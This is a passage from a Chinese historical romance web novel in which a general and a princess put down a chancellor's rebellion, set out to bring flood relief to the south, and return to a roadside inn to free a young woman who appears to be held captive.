丞相府广场,火光映照着厮杀的惨状。丞相站在临时搭建的高台上,焦躁地踱步,不时望向府门方向。派去向靖安侯求援的亲信应该快回来了。只要靖安侯那两千府兵一到,内外夹击,江令舟就算有三头六臂也插翅难飞! 片刻后,亲信连滚爬爬地跑了回来,脸上带着绝望。“相爷!侯爷…侯爷他说…他身体抱恙,府兵…府兵不能擅动!” “什么?!”丞相如遭雷击,一把揪住亲信的衣领,“你说什么?!再说一遍!” “侯爷说他病了…咳咳…说是昨夜受了风寒,卧床不起了…”亲信被勒得几乎喘不过气。 “风寒?!”丞相气得浑身发抖,猛地将亲信推开,“好一个靖安侯!平日里称兄道弟,拿了我多少好处!关键时刻竟然给老夫装病!真是老狐狸!”他气急败坏,一脚踹翻了旁边的案几,上面的茶水点心洒了一地。“竖子不足与谋!” 台下的叛军将士们听到这个消息,本就有些动摇的军心更是骚动起来。 丞相看着台下士兵脸上的犹豫和恐惧,心中的怒火烧得更旺。事已至此,绝无退路!他拔出腰间佩剑,指向前方厮杀的禁卫军,声音嘶哑地吼道:“传我命令!后退者斩!给我杀!杀出一条血路!今日,不是他江令舟死,就是我们亡!杀!” 重赏和军法的双重刺激下,叛军暂时压下了恐惧,再度发起了猛攻。 然而,就在此时,战场上的局势发生了诡异的变化。原本胶着的战线,突然像被一只无形的大手搅动。禁卫军的阵型灵活变幻,如同潮水般向两侧分开,又从意想不到的方向合拢。 “不好!相爷!我们被包围了!”一名副将惊恐地喊道。 丞相定睛望去,只见原本在正面冲击的禁卫军不知何时已经完成了穿插迂回,三千精锐如同一张铁网,将他麾下的五千人马死死地困在了广场中央。外围的喊杀声逐渐减弱,取而代之的是整齐划一的脚步声和兵甲碰撞声,那是禁卫军正在收紧包围圈。 江令舟治军果然名不虚传!丞相心中一寒,手脚冰凉。他自以为人数占优,却没料到对方竟能如此精准地利用战场空间和时机,以少围多!多年的战场经验,果然不是他这种庙堂之人能够比拟的。他慌了,额头上渗出细密的冷汗。 包围圈的最前方,江令舟勒马而立,身旁的黎音袅一身戎装,英气逼人。江令舟看着高台上脸色煞白的丞相,朗声道:“丞相,大势已去,何必再让这些将士做无谓牺牲?放下武器,陛下仁慈,或许还能留你一个全尸。” 黎音袅接口道,声音清冷:“负隅顽抗,只有死路一条。丞相,你看看你身后那些士兵的眼神,他们是想活命,而不是给你陪葬。” “全尸?”丞相惨笑一声,眼神怨毒地盯着江令舟,“江令舟!你以为你赢定了吗?我告诉你,就算死,我也要拉你们垫背!” 江令舟面无表情,只是轻轻举起了手。身后三千禁卫军弓上弦,刀出鞘,杀气弥漫。 第58章喜讯 杀气如有实质,弥漫在广场上空。三千禁卫军引弓待发,箭头寒光闪烁,齐齐对准了包围圈中心的叛军。 高台上的丞相,已是强弩之末,却兀自挺立,眼神怨毒如同恶鬼。“江令舟!你得意不了多久!”他的声音嘶哑,带着一种玉石俱焚的疯狂。 江令舟端坐马上,面甲遮住了他的表情,只留一双深邃的眼眸,平静地注视着那个色厉内荏的身影。黎音袅策马靠近半步,声音不高,却清晰地传入江令舟耳中。“将军,射人先射马,擒贼先擒王。丞相一死,群龙无首,这些人不过是乌合之众,不足为惧。”她的话语冷静,带着一种战场上淬炼出的果决。以最小的代价,结束这场无谓的流血。 江令舟的视线扫过下方那些叛军士兵。他们的脸上,恐惧多过战意,握着兵器的手微微颤抖。他们是被裹挟至此,并非个个都愿为丞相陪葬。再看高台上那张扭曲的脸。负隅顽抗,只会让更多无辜的生命消逝。陛下要的是一个稳定的京城,不是一座尸山血海的广场。 他心中有了决断。没有多余的言语。江令舟举起的右手,食指与中指并拢,轻轻向下一挥。一个简单,却蕴含着雷霆万钧之力的指令。 【咻——】 人群中,一名不起眼的禁卫军神射手松开了弓弦。那支箭,如同拥有生命的猎鹰,撕裂空气,带着尖锐的破风声。它的目标,只有一个。高台上的丞相似乎察觉到了什么,刚想张口呼喝。 【噗嗤!】 利箭精准地穿透了他的胸膛,强大的力道带着他向后踉跄。他难以置信地低下头,看着胸口那个不断扩大的血洞。嘴巴张了张,想说什么,却只有腥甜的液体涌出。“呃……”最后的生机,随着喷涌的鲜血迅速流逝。 他眼中怨毒的光芒熄灭了,取而代之的是茫然与恐惧。然后,身体一软,直挺挺地从高台上栽了下来。 【砰!】 一声闷响,丞相的身体砸落在冰冷的石板上,激起一片尘土。广场上,霎时间陷入了一片死寂。所有人都被这突如其来的一幕惊呆了。叛军士兵们怔怔地看着那个曾经发号施令,许诺他们高官厚禄的人,如今像一条死狗般躺在地上,一动不动。 他们的主心骨,塌了。丞相身边的几个亲信,脸色瞬间变得惨白如纸。他们互相看了看,眼中的惊恐几乎要溢出来。短暂的死寂之后,是更大的混乱。 “相爷…相爷死了!”不知是谁先喊了一声,如同点燃了引线。 “丞相死了!我们怎么办?” “跑啊!” “别杀我!我投降!” 恐慌如同瘟疫般蔓延。 残存的战意,瞬间土崩瓦解。 【哐当!】 第一个叛军士兵扔掉了手中的长矛,跪倒在地。 【哐当!哐当!哐当!】 兵器落地的声音此起彼伏,连成一片。如同骤雨敲打地面。叛军们争先恐后地丢下武器,双手抱头,跪伏在地。刚才还勉力维持的阵型,彻底崩溃。广场中央,黑压压地跪倒了一大片。他们选择了活命。 黎音袅看着眼前的情景,微微松了口气。速战速决,伤亡最小。这便是她想要的结果。 江令舟依旧面无表情,仿佛刚才下令射杀一位当朝丞相,只是一件微不足道的小事。他再次举手,示意弓箭手放下武器。包围圈外的禁卫军,保持着严整的阵型,一步步向前逼近,开始收缴散落在地的兵器,看管跪地的俘虏。整个过程,井然有序,没有一丝混乱。 江令舟的目光掠过那些跪地的叛军,最后落回到黎音袅身上。黎音袅也正看向他,戎装下的眉眼,带着一丝不易察觉的轻松。两人视线交汇,无需言语,已明了对方心中所想。江令舟勒转马头,声音传遍广场。 “收缴兵器,清点人数,看押俘虏。等候陛下发落。” ...... 乾清宫内,空气凝滞如死水。落针可闻。 皇帝背着手,在铺着明黄地衣的殿内来回踱步,鞋底摩擦地面的声音,成为唯一的响动。每一次转身,都带着压抑不住的焦躁。皇后坐在稍远处的软榻上,双手紧紧绞着丝帕,指节因为用力而泛白。她的唇色很淡,脸颊也失了往日的红润。殿角侍立的宫人,连呼吸都放到了最轻,生怕惊扰了这沉闷的气氛。 黎音树站在殿中,身姿笔挺,像一株沉默的青松。他的视线落在虚空,只有偶尔颤动的眼睫,泄露出一丝不易察觉的忧虑。外面广场上的厮杀声,似乎已经停息了很久。可这寂静,比之前的喧嚣更令人心悸。是尘埃落定,还是暴风雨前的宁静。无人知晓。 【噔噔噔——】 急促的脚步声由远及近,打破了殿内的死寂。一名小太监连滚带爬地冲了进来,因为跑得太急,帽子都歪了。 他扑通一声跪倒在地,声音带着哭腔与狂喜。 “ 陛…陛下!娘娘!” 皇帝猛地停住脚步,霍然转身。皇后的身体也瞬间绷紧,指甲几乎要掐进掌心。小太监上气不接下气,脸涨得通红。 “胜…胜了!广场…广场平定了!丞、丞相…死了!叛军…叛军全降了!江、江将军…长公主…大获全胜!” 断断续续的几句话,如同惊雷炸响在乾清宫。 皇帝愣住了。皇后也愣住了。黎音树紧绷的肩膀,几不可查地松弛下来。皇帝上前一步,几乎是揪着小太监的衣领。 “你说什么?再说一遍!” 小太监被吓了一跳,但巨大的喜悦冲散了恐惧。他提高了音量,字字清晰。“启禀陛下!宫门广场已肃清!反贼头目伏诛!叛军尽数投降!江将军与长公主大获全胜!” 【哐当】一声。 是皇后手中的珐琅彩茶盏,滚落在地毯上,发出沉闷的声响。但无人理会。 皇帝松开了小太监,后退了两步。他看着自己的双手,又抬头望了望殿顶的蟠龙藻井。 下一刻。 他猛地挥了一下拳头。“好!”一声大喝,中气十足,震得殿梁似乎都嗡嗡作响。他不再踱步,而是像个得到心爱玩具的孩子,原地转了个圈。脸上是难以抑制的狂喜。那紧锁多日的眉头,终于舒展开来。 皇后捂住了嘴,眼泪毫无征兆地滚落。不是悲伤,是释放。是巨大的石头终于落地的安心。她踉跄着起身,快步走到皇帝身边,抓住了他的手臂。“陛下…”她的声音哽咽,带着后怕的颤抖。 第59章 天灾 皇帝反手握住她的手,用力握了握。 “没事了,皇后。都过去了。”他连说了两遍,像是在安慰皇后,也像是在说服自己。 黎音树上前一步,躬身行礼。“恭喜陛下。贺喜陛下。京城危局已解,社稷幸甚。”他的声音依旧平稳,但细听之下,能察觉到一丝如释重负。 皇帝看向他,脸上的笑容更加灿烂。“黎大人,你妹妹,好样的!还有江令舟!朕果然没有看错人!”他拍了拍黎音树的肩膀,力道不轻。 “都是国之栋梁!栋梁啊!” 皇后也拭去泪水,脸上露出笑容。”是啊,长公主和江将军,这次真是立了大功。”她顿了顿,补充了一句。“他们…可都安好?” 小太监连忙回话。“回娘娘,江指挥使与黎将军皆安然无恙!” ...... 平叛之后,京城难得的安静下来。黎音袅和江令舟终于抽出空闲。二人一同前往黎母的住所。小院清幽。竹叶在微风中轻轻摇曳。石桌上,茶香袅袅。黎母看着女儿和江令舟,面带微笑。 “你们能来,我很高兴。”黎音袅为母亲斟茶。“娘亲,女儿也是。”江令舟也端起茶杯。“伯母,茶不错。”黎母笑意更深。“是新茶,你们尝尝。”三人慢慢品茶,闲话家常。这份宁静,对他们而言,弥足珍贵。 突然,院外传来一阵急促的脚步声。打破了这份静谧。一个宫中侍从匆匆而来,神色焦急。“江将军,宫里来人了,宣您立刻入宫。”江令舟放下茶杯,看向侍从。“何事如此?”侍从气喘吁吁。“奴才不知,只说是陛下召见,事关南方水患。” 南方水患。黎音袅心头一紧,看向江令舟。“水患?”江令舟眉头微皱。“南方又出事了?”黎母担忧地看着他们。“朝廷又要忙起来了?”侍从躬身道。“具体情况奴才不清楚,但看宫里来的传话,似乎情况紧急。” 江令舟起身。“我知道了,这就入宫。”他转向黎音袅和黎母。“伯母,音袅,宫里有事,我得先走一步。”黎音袅也站起身。“我送你。”黎母拉住黎音袅的手。“去吧,国家大事要紧。”江令舟对黎母点了点头,又看向黎音袅。“等我消息。”黎音袅目送江令舟和侍从匆匆离去。眉头紧锁,心中隐隐感到不安。 南方水患,绝非小事。 ...... 乾清宫内,气氛与方才的喜悦有所不同。江令舟躬身行礼。“臣江令舟,参见陛下。”皇帝坐在龙椅上,脸上仍有胜利的痕迹。他抬手示意江令舟起身。 “平身。江将军,你来了。”皇帝的声音带上了几分威严。“京城之乱,朕能安然无恙,你功不可没。” 江令舟站直身体。“此乃臣分内之事。”皇帝看着他。“分内?多少人做不到这分内之事。丞相…” 皇帝提起这个名字,语气冷了下来。“朕待他不薄。他却行此大逆之事。”皇帝的手指轻轻敲击着扶手。 “这些逆贼,该如何处置?特别是丞相一伙。朕恨不得立刻将他们碎尸万段。” 江令舟垂眸。“陛下盛怒,臣可以理解。然而…”他抬起头,直视皇帝。“臣以为,处置叛逆之事,可稍后再议。”皇帝的敲击声停下了。他的眼神带着探究。“稍后再议?为何?” 江令舟语气平静。“陛下急召臣入宫,是为南方水患。南方灾情,刻不容缓。流离失所,颗粒无收。若不及时赈灾,恐生更大乱局。”他停顿了一下。“处置叛逆,固然重要。但与南方数百万百姓的生死相比…孰轻孰重,陛下心中自有定夺。” 皇帝的脸色沉了下来。他没有立刻说话。殿内只有江令舟沉稳的呼吸声。皇帝的目光在江令舟脸上停留片刻。他似乎在衡量江令舟话语的分量。 “你是说,先放着这些叛贼不管?”江令舟摇头。“并非不管。只是眼下,朝廷的力量应集中于南方。平叛虽胜,但京城仍需稳定。南方水患,更是关乎国本。” 他上前一步。“臣建议,先将所有叛军俘虏严加看押。清点人数,登记造册。待南方水患平息之后…再行秋后问斩,以儆效尤。这样既能稳定当前局势,又能集中力量救灾。也给了朝廷充足的时间来审理此案。” 皇帝陷入了沉思。他内心深处,确实渴望立刻报复。但他知道江令舟说得有道理。眼前的胜利,并不能掩盖潜在的危机。南方水患,才是真正的火烧眉毛。他缓缓开口。“秋后问斩…也好。能让这些逆贼多活几个月,亲眼看着咱们渡过难关。”他似乎在为自己找一个理由。“也算是对他们的折磨。” 皇帝看向江令舟。“既然你这样说,那便依你。叛逆之事,押后再议。现在…”他的神色变得严肃起来。 “立刻议南方水患!京城这边的事,交给其他人处理。你,给朕说说,南方到底有多严重?”江令舟躬身应是。“臣遵旨。” 江令舟步出乾清宫,天色已经有些暗了。他没有耽搁,直接赶往黎音袅的住处。平叛的疲惫还在。但南方水患的急报冲淡了一切。他需要黎音袅。 这份需要,不仅是并肩作战的信任。还有一种说不清的依赖。 黎音袅正坐在院子里。看着天边最后一抹晚霞。心头仍旧悬着。她知道江令舟入宫是为了水患。这样的天灾,在现代尚且棘手。何况是在这个时代。 听到脚步声。她立刻起身。“怎么这么快?”江令舟快步走到她面前。神色凝重。“情况比想象的要严重。南方多地决堤,淹没无数田地村庄。流民已经开始出现。”黎音袅的心沉了下去。“那…”江令舟看着她的眼睛。“陛下命我立刻启程,前往南方赈灾。”处理后续事宜。”他顿了顿。“长公主,我想请你同去。”这个邀请并不意外。 第60章 出发 黎音袅几乎是立刻回应。“我也正想去。京城这边,我留下来作用不大。但南方…”她走近一步。“或许我能帮上忙。”江令舟有些惊讶。“你愿意去?”南方路途遥远,条件艰苦。而且…”他想到治理水患的复杂。“这与打仗不同。这是和天灾对抗。” 黎音袅笑了笑。“天灾。有时人定也能胜天。”她压低声音。“我有一些…不同寻常的思路。也许能用上。”江令舟知道黎音袅的特别。她的很多想法。都超出了他的认知。但都证明有效。他看着她。“什么思路?”黎音袅没有详细解释。只是说。“需要到了地方,实地查看。但或许能找到治本的方法。而不是一味地堵。” 江令舟明白了。她不是随口说说。她是有想法的。“好。”他立刻决定。“我们一起去。明日一早便动身。”黎音袅点头。“好。我回去收拾东西。” 她心中涌起一股力量。现代的知识。终于可以在这里派上更大的用场了。她想到了很多原理。关于水力学。关于工程学。关于疾病预防。这些都是这个时代缺乏的。江令舟看着她。“你需要什么?提前告诉我。”黎音袅思索片刻。“需要一些工具。还有人手。要懂计算的。最好还有一些…愿意听我指挥的工匠。” 江令舟记下了。“这些我来安排。你只管准备自己。”他知道此行责任重大。但有了黎音袅。他心底多了一份把握。一份莫名的,却异常坚实的把握。 黎音袅看着他。“那我们明日见。”江令舟点头。“明日见。”他看着她转身离去。身影消失在暮色中。然后才转身。向着自己的住处走去。他需要立刻安排行程,安排人手。 天色微亮。晨曦穿透云层。给天地间镀上一层浅金。黎音袅已收拾妥当。她站在院中。检查着准备好的行囊。里面装着一些常用的药材。还有几本记录着水利工程的书籍。以及一些现代工具的图纸。这些东西在这个时代显得格格不入。但或许能派上用场。 江令舟也很快赶到。他一身戎装。显得干练而肃穆。身后跟着几名侍卫。抬着几个大箱子。里面装的都是赈灾物资。“长公主,都准备好了?”江令舟走上前询问。黎音袅点头。“嗯,差不多了。”她看向那些箱子。“这些是?”“一些钱款和干粮。”江令舟解释。“还有陛下特批的赈灾款。” 黎音袅微微颔首。有了物资和钱款。赈灾就能顺利许多。这时。一个略带担忧的声音传来。“长公主”黎音树快步走进院子。他的脸上带着明显的忧色。“你们真的要走?”黎音袅看向他。语气温和。“嗯,南方水患严重,我必须去。”“可是…”黎音树欲言又止。“京城这边…也很乱。” 他指的是朝堂上的暗流涌动。以及随时可能爆发的叛乱。黎音袅明白他的担忧。但南方水患迫在眉睫。不能耽搁。“京城的事,有陛下和你们。”黎音袅安抚道。“南方百姓更需要我。”黎音树沉默片刻。最终叹了口气。“皇姐,一路小心。”他知道自己无法阻止黎音袅的决定。只能默默支持。 江令舟在一旁看着兄妹俩。心中对黎音树的担忧也有些理解。京城的局势确实不稳定。但他更清楚南方的灾情有多严重。“黎大人放心。”江令舟向黎音树保证。“我会保护好长公主。”黎音树看向江令舟。眼神复杂。“江将军,长公主就拜托你了。”“臣义不容辞。”江令舟抱拳道。 黎音袅走到黎音树面前。拍了拍他的肩膀。“放心吧,我会尽快回来。”她顿了顿。语气认真。“京城这边,你要帮我照顾好娘亲。”黎音树重重点头。“嗯,我会的。”兄妹俩又说了几句。都是一些叮嘱和关心的话。 黎音袅知道时间紧迫。不能再耽搁下去。“好了,时辰不早了。”黎音袅说道。“我们该出发了。”她转向江令舟。“走吧。”江令舟点头。立刻吩咐侍卫起程。 黎音袅最后看了黎音树一眼。眼神中带着一丝不舍。然后毅然转身。跟着江令舟走出了院子。黎音树站在原地。目送着他们的身影消失在晨雾中。他知道这一去南方。前路艰险。 马车缓缓驶出京城。黎音袅坐在车厢内。闭目养神。昨晚她几乎没怎么睡。一直在整理思路。思考应对水患的方案。江令舟骑马走在车旁。目光警惕地扫视着四周。虽然离开了京城。但危险并没有完全解除。叛军的势力依然存在。随时可能出现。 “长公主。”江令舟的声音传来。“可是累了?”黎音袅睁开眼睛。看向车窗外。“还好。”她顿了顿。问道。“江将军,你觉得这次赈灾,最大的困难是什么?”江令舟沉吟片刻。回答道。“水患本身是一个。还有流民安置,瘟疫随之也会蔓延。” 黎音袅微微点头。这些都是现实的问题。水患是天灾。难以预测和控制。流民数量庞大。安置稍有不慎就会引发动乱。南方多雨潮湿。容易滋生疫病。而朝廷内部…恐怕也会有人借机生事。 “朝廷那边,我会想办法。”黎音袅说道。“你只需专心赈灾。”。他知道黎音袅在朝中的影响力。有她这句话。他就能安心许多。 “长公主,你对治理水患,有什么具体的想法吗?”江令舟问道。他想了解黎音袅的计划。以便更好地配合。黎音袅沉思片刻。缓缓说道。“我的想法…可能和传统的治理之法不太一样。”“哦?”江令舟有些好奇。“有何不同?” “传统的方法,多以堵为主。”黎音袅解释。“哪里决堤就堵哪里,哪里淹水就排哪里。” “这难道不对吗?”江令舟疑惑。 “不能说不对,但…治标不治本。”黎音袅摇头。“水患的根源在于水,在于水流的规律。” “规律?”江令舟更加不解。 “不错。”黎音袅肯定道。“水流有其自身的规律,顺之则昌,逆之则殃。” 她继续说道。“一味地堵,只会让水无处可去,最终酿成更大的灾祸。” 第61章 客栈 江令舟若有所思。他隐约感觉到黎音袅的想法有些深奥。但他对水利工程并不精通。一时难以理解。 “那长公主的意思是?”江令舟追问道。 “我的意思是,要疏导。”黎音袅缓缓吐出两个字。“要顺应水流的规律,将洪水引导到安全的地方。” “疏导?”江令舟重复着这两个字。 他开始思考黎音袅的提议。疏导,听起来似乎比堵更合理。但具体要如何操作? 他心中充满了疑问。 “具体的方法,还需要到了南方,实地勘察之后才能确定。”黎音袅说道。“但总的原则是疏导,而不是堵。” 江令舟点头。他决定相信黎音袅。但她总是能创造奇迹。“好,一切都听长公主的。”江令舟说道。 黎音袅笑了笑。“江将军不必如此客气,我们是合作。能与长公主并肩作战,是臣的荣幸。”江令舟语气诚恳。 黎音袅看向他。眼神中带着一丝感激。她知道江令舟对她的信任和支持。这种信任和支持。是她在这个时代最大的依靠。 官道旁孤零零立着一家客栈。青砖黛瓦显得有些陈旧。旗幡在微风中无力地摆动。马车停稳,江令舟率先下马,伸手撩开车帘。 “长公主,先在此处歇息片刻。”黎音袅嗯了一声,扶着他的手臂下了车。长途跋涉,即便是马车,也让人筋骨困乏。 随行的侍卫训练有素地散开,检查四周环境。 客栈里静悄悄的。与官道上偶尔经过的马队相比,这里的安静透着几分诡异。一个身形微胖的老妇人从柜台后慢悠悠走出来。她约莫五旬年纪,脸上堆着笑,眼角的皱纹挤在一起。 “哎呦,客官里面请,打尖还是住店?”声音带着过分的热络。江令舟上前一步。“准备些茶水饭食,要干净些。” “好嘞好嘞,几位军爷里面坐。”老妇人目光扫过江令舟和他身后的侍卫,最后落在了黎音袅身上。那眼神亮了一下。不同于看到江令舟时的寻常。 “这位姑娘是?”老妇人凑近了些,脸上笑容更甚。黎音袅微微蹙眉,不着痕迹地向后退了半步。 “这位是……”江令舟正要开口。“哎呀,瞧这皮肤嫩的,跟水葱似的。”老妇人已经自顾自说了起来,甚至想伸手去碰黎音袅的脸颊。江令舟眼神一凛,挡在了黎音袅身前。 老妇人的手顿在半空,讪讪地笑了笑。“看我这老婆子,就是喜欢漂亮姑娘。”她转而招呼着,“快,里面请,给姑娘准备最好的厢房。” 黎音袅没有作声,跟着江令舟走入客栈大堂。大堂里空荡荡的,只有几张桌椅。角落里坐着一个低眉顺眼的年轻女子,像是店里的伙计,正埋头擦着桌子。听到动静,她抬头看了一眼,眼神怯怯的,很快又低下头去。 老妇人引着他们往里走。“姑娘,我们这儿后院清净,给你留了最好的上房。”她对黎音袅的态度,殷勤得有些过头。反而对江令舟这位明显是头领的将军,显得有些敷衍。 黎音袅心头掠过一丝怪异。这种感觉说不清道不明。就像一根细小的刺,扎在皮肤上,不痛,却无法忽视。 “ 不必,我们就在大堂用些便饭即可。”黎音袅开口,声音平静。老妇人愣了一下。“这……大堂人来人往的,怕是会扰了姑娘清净。”“无妨。”黎音袅坚持。 江令舟看了黎音袅一眼,对老妇人道。“就按这位……小姐的意思办。”他适时地改了称呼。“好,好吧。”老妇人脸上的笑容淡了些,转身去吩咐茶水。 黎音袅选了张靠窗的桌子坐下。江令舟在她对面落座。侍卫们则分散坐在周围几桌,保持着警惕。 “长公主,可是有何不妥?”江令舟低声问道。他察觉到了黎音袅细微的情绪变化。“没什么。”黎音袅端起刚送上来的茶碗,却没有喝。茶水颜色清亮,飘着几片茶叶。她只是看着茶水,若有所思。 “只是觉得这家店有些奇怪。是有些过于安静了。”江令舟也观察着四周。“按理说,官道旁的客栈,不该如此冷清。”尤其是他们这么一行人进来,店家除了最初的热络,后续反应也太平淡。 老妇人很快端来了几碟小菜,一壶热茶。她将茶壶特意放在黎音袅手边。“姑娘,这是新沏的雨前龙井,您尝尝。”她的手又一次伸过来,想要替黎音袅斟茶。黎音袅端起茶碗,自己倒了一杯。避开了她的触碰。 老妇人脸上的笑容僵了一下,很快又恢复如常。“姑娘慢用,有什么需要随时叫我。”她转身离开,目光却又在黎音袅身边的女侍卫身上打了个转。那眼神,让黎音袅更加不适。她对年轻女子的关注,超出了寻常的热情。带着一种审视,一种评估。 黎音袅看向角落里那个擦桌子的年轻女子。她始终低着头,动作机械。仿佛周围的一切都与她无关。“长公主,这茶……”江令舟也端起茶碗,闻了闻。没什么异样。但他相信黎音袅的直觉。 黎音袅放下茶碗。“江将军,派人去后院看看。”江令舟会意,对身边一个侍卫使了个眼色。侍卫不动声色地起身,朝着后院的方向走去。 老妇人似乎并未察觉,依旧在柜台后忙碌着。黎音袅的视线再次落在那个年轻女子身上。她注意到女子的手腕上,有一圈淡淡的红痕。像是被绳索勒过的痕迹。虽然很浅,但在她白皙的皮肤上,依然能看出来。 黎音袅心中一动。她端起茶碗,起身朝着那女子走去。“这位姑娘。”女子身体一颤,猛地抬起头。眼神惊恐,像是受惊的小鹿。“客……客官有何吩咐?”她的声音细若蚊蚋,带着明显的颤抖。 “这桌子似乎有些油腻,能再擦擦吗?”黎音袅指着旁边一张空桌。“是,是。”女子连忙拿起抹布,慌张地走过去。 黎音袅在她经过身边时,看似随意地问道。“你在这里做工多久了?”女子动作一顿,脸色更加苍白。“没……没多久。” “我看你手腕上有些红痕,是不小心伤到了吗?”黎音袅的声音很轻。女子猛地缩回手,藏在身后。“没,没有,客官看错了。”她语无伦次,眼神躲闪。 第62章 折返 就在这时,老妇人走了过来。“姑娘,有什么事吩咐她做就是了,何必亲自问呢?”老妇人脸上带着笑,语气却有些硬。同时,她不动声色地挡在了黎音袅和那年轻女子之间。 黎音袅看着她。“店家似乎很关心你的伙计。”“呵呵,自家的人,自然要多照看些。”老妇人打着哈哈。 “是吗?”黎音袅的语气意味深长。她选择没有再继续追问,转身缓缓回到了座位。江令舟的脸色沉了下来。刚才的一切,他都看在眼里,暗暗记下了这一切。 派去后院的侍卫回来了,对他摇了摇头。后院很正常,只有几间堆放杂物的空房,并没有发现什么异常。“长公主?”江令舟询问地看向黎音袅。黎音袅手指轻轻敲击着桌面。 这家客栈,处处透着古怪。那个老妇人,那个年轻女子,还有这不合常理的安静。她回想起老妇人看她的眼神。那种过于热切的关注,不像是因为她的容貌。更像是在打量一件货物。联想到女子手腕上的红痕和惊恐的反应。一个可怕的念头在她心中浮现。 黎音袅看向江令舟。“我们走。”江令舟没有丝毫犹豫。“是。”他立刻起身,示意所有侍卫准备离开。 老妇人见状,急忙上前。“哎,客官怎么刚来就要走?饭菜马上就好。”“不必了。”江令舟语气冷硬。“店家,结账。” 老妇人脸上的笑容彻底消失了。她盯着黎音袅,眼神变得阴冷。“几位不再坐会儿?”“不了。” 黎音袅站起身,目光平静地回视她。 一行人迅速离开了客栈。马车再次启动,缓缓驶离。黎音袅撩开车帘,回头望去。老妇人站在客栈门口,一动不动。那个年轻女子也站在她身后,低着头,看不清表情。夕阳的余晖将她们的身影拉得很长。透着一股说不出的阴森。 车厢内,气氛有些凝重。“长公主,那家客栈……”江令舟开口。“恐怕不是善地。”黎音袅接话。“那个年轻女子,像是被囚禁的。”江令舟点头。“属下也看出来了,她很害怕那个老妇人。手腕上的勒痕,不会是凭空出现的。” 黎音袅闭上眼睛。那种被审视的感觉,让她极度不快。“那个老妇人,看我的眼神不对。”“我也注意到了。”江令舟沉声道。“她似乎对年轻女子格外在意。” 黎音袅睁开眼。“江将军,你觉得,一个荒郊野外的客栈,如此冷清,靠什么维持?”江令舟没有立刻回答。他也在思考这个问题。客栈生意不好,却能一直开着。那个老妇人,那个被禁锢的年轻女子……“恐怕……做的不是正经营生。”江令舟给出了一个推测。 黎音袅没有说话。答案或许比想象中更黑暗。她只希望,那个年轻女子能找到机会逃离。但她也清楚,在这乱世,一个孤身女子的命运,往往身不由己。 马车继续前行。刚才的插曲,像一块投入湖面的石子,荡起圈圈涟漪。 官道扬起薄尘。马蹄踏过干燥的地面,留下浅浅的印痕。 黎音袅让马夫停车。 “怎么了?” 他的声音里带着一丝不易察觉的疲惫。赶路不易,节外生枝最是麻烦。 黎音袅没有立刻回答。她的目光投向来路的方向,那里早已看不见客栈的影子。只有风卷着尘土,模糊了远方的景物。客栈里那个女子的眼神,像一根刺,扎在她心头。无助,恐惧,还有一丝不易察觉的哀求。 她当时按捺住了。可现在,那眼神在她脑海里挥之不去。“我要回去。”黎音袅的声音不高,却带着一种不容置疑的坚决。 江令舟的眉头瞬间蹙紧。“回去?回哪里去?我们还有要事。”他试图提醒她此行的目的。时间紧迫,不容耽搁。 “回刚才那家客栈。”黎音袅转过头,迎上他的目光。她的眼神清亮,却也冰冷。“那个女人,我不能不管。” 江令舟的脸色沉了下来。他知道她的性子。决定了的事情,九头牛都拉不回来。 但他还是尝试劝阻。 “长公主,我们不清楚那女子的底细。贸然插手,只会引火烧身。” 他压低声音。 “客栈里人多眼杂,谁知道藏着什么阴谋?你忘了我们……” “我没忘。” 黎音袅打断他。 她的手指收紧,缰绳被攥得更紧。 “正因为没忘,才更不能视而不见。” 有些事情,一旦看到了,就无法装作没看到。 那不是她的行事准则。 江令舟看着她固执的侧脸,心头涌上一阵无力。 他了解她的善良,也清楚她的能力。 可江湖险恶,不是每一次善心都能有善果。 “为了一个不相干的人,耽误我们的行程,甚至可能暴露身份,值得吗?” 他的语气加重了几分。 黎音袅猛地转过脸。 她的眼神锐利如刀。 “值不值得,不是你说了算。” 她翻身下马,动作干净利落。 “你若担心,可以先走。我随后就到。” 江令舟被她的话堵得心口一窒。 他看着她牵着马,毫不犹豫地转身,朝着来路走去。 风又一次卷起客栈门前的幡子。黎音袅和江令舟重新出现在门口。客栈里的人似乎少了些,气氛却更加凝滞。空气中弥漫着一股淡淡的药草味,混合着陈旧的木头气息。黎音袅的目光扫过大堂。角落里,那个女子仍旧坐在那里。她的头低垂着,身体微微蜷缩。 她听到了那细微的脚步声。不同于客栈伙计的匆忙,也不同于其他客人的迟缓。她猛地抬起头。那双黯淡的眼睛,在看到黎音袅的那一刻,骤然爆发出惊人的光彩。像濒死之人抓住了最后一根救命稻草。一丝难以置信的狂喜涌上她的脸颊。 “你们怎么回来了!” 她张了张嘴,似乎想说什么。却没有发出任何声音。只是那双眼睛,紧紧地、复杂地盯着黎音袅。 掌柜的从柜台后面转了出来。她脸上堆满了笑。那笑容像一层油腻的面具,紧紧贴在脸上。她搓着一双肉乎乎的手,快步朝黎音袅这边走来。“哎呀,二位客官怎么又回来了?” 第63章 解救 黎音袅的目光冷冷地扫过掌柜那张堆满虚假笑容的脸,语气平淡却带着不容置疑的穿透力:“刚落下了东西。” 她甚至没有多看掌柜一眼,话音未落,脚步已动,径直朝着角落里那瑟缩的身影走去。每一步都沉稳有力,裙摆划过陈旧的地板,发出细微的沙沙声。 江令舟紧随其后,如同一道沉默的屏障。他的眼神锐利如鹰隼,警惕地扫视着大堂里的每一个人,每一个细微的动静都逃不过他的眼睛,周身散发出凛然的气息,令旁人不敢靠近。 角落里的女子身体抖得更厉害了。那双刚刚燃起光亮的眼睛里,此刻恐惧与期待疯狂交织。她看着黎音袅越走越近,嘴唇哆嗦着,牙齿都在打颤。 黎音袅在她面前站定,微微俯身。她的声音放得很轻,却清晰地传入女子耳中:“你,需要帮忙吗?” 这声音如同穿透黑暗的一缕微光。女子猛地抬头,眼中瞬间蓄满了泪水,巨大的恐惧让她几乎失声。她死死咬住下唇,拼命摇头,可那双眼睛却出卖了她。在黎音袅沉静目光的注视下,她颤抖的手,以极快的速度,极其隐蔽地指向了地面,指向了那通往未知黑暗的地下入口。 “哎!客官!您这是……”掌柜尖锐的声音陡然响起,她肥胖的身躯带着一股恶风,猛地冲了过来,伸出那双肉乎乎的手,就要去拉扯黎音袅。 “放肆!” 一声冷喝!掌柜的手腕还未触及黎音袅的衣角,便被一只铁钳般的大手死死扣住。江令舟不知何时已挡在黎音袅身侧,他面无表情,手下力道却不容反抗。 掌柜发出一声痛呼,脸上的笑容瞬间扭曲,油腻的面具片片碎裂,露出底下的惊慌与狠厉。“你……你们想干什么!放开我!” 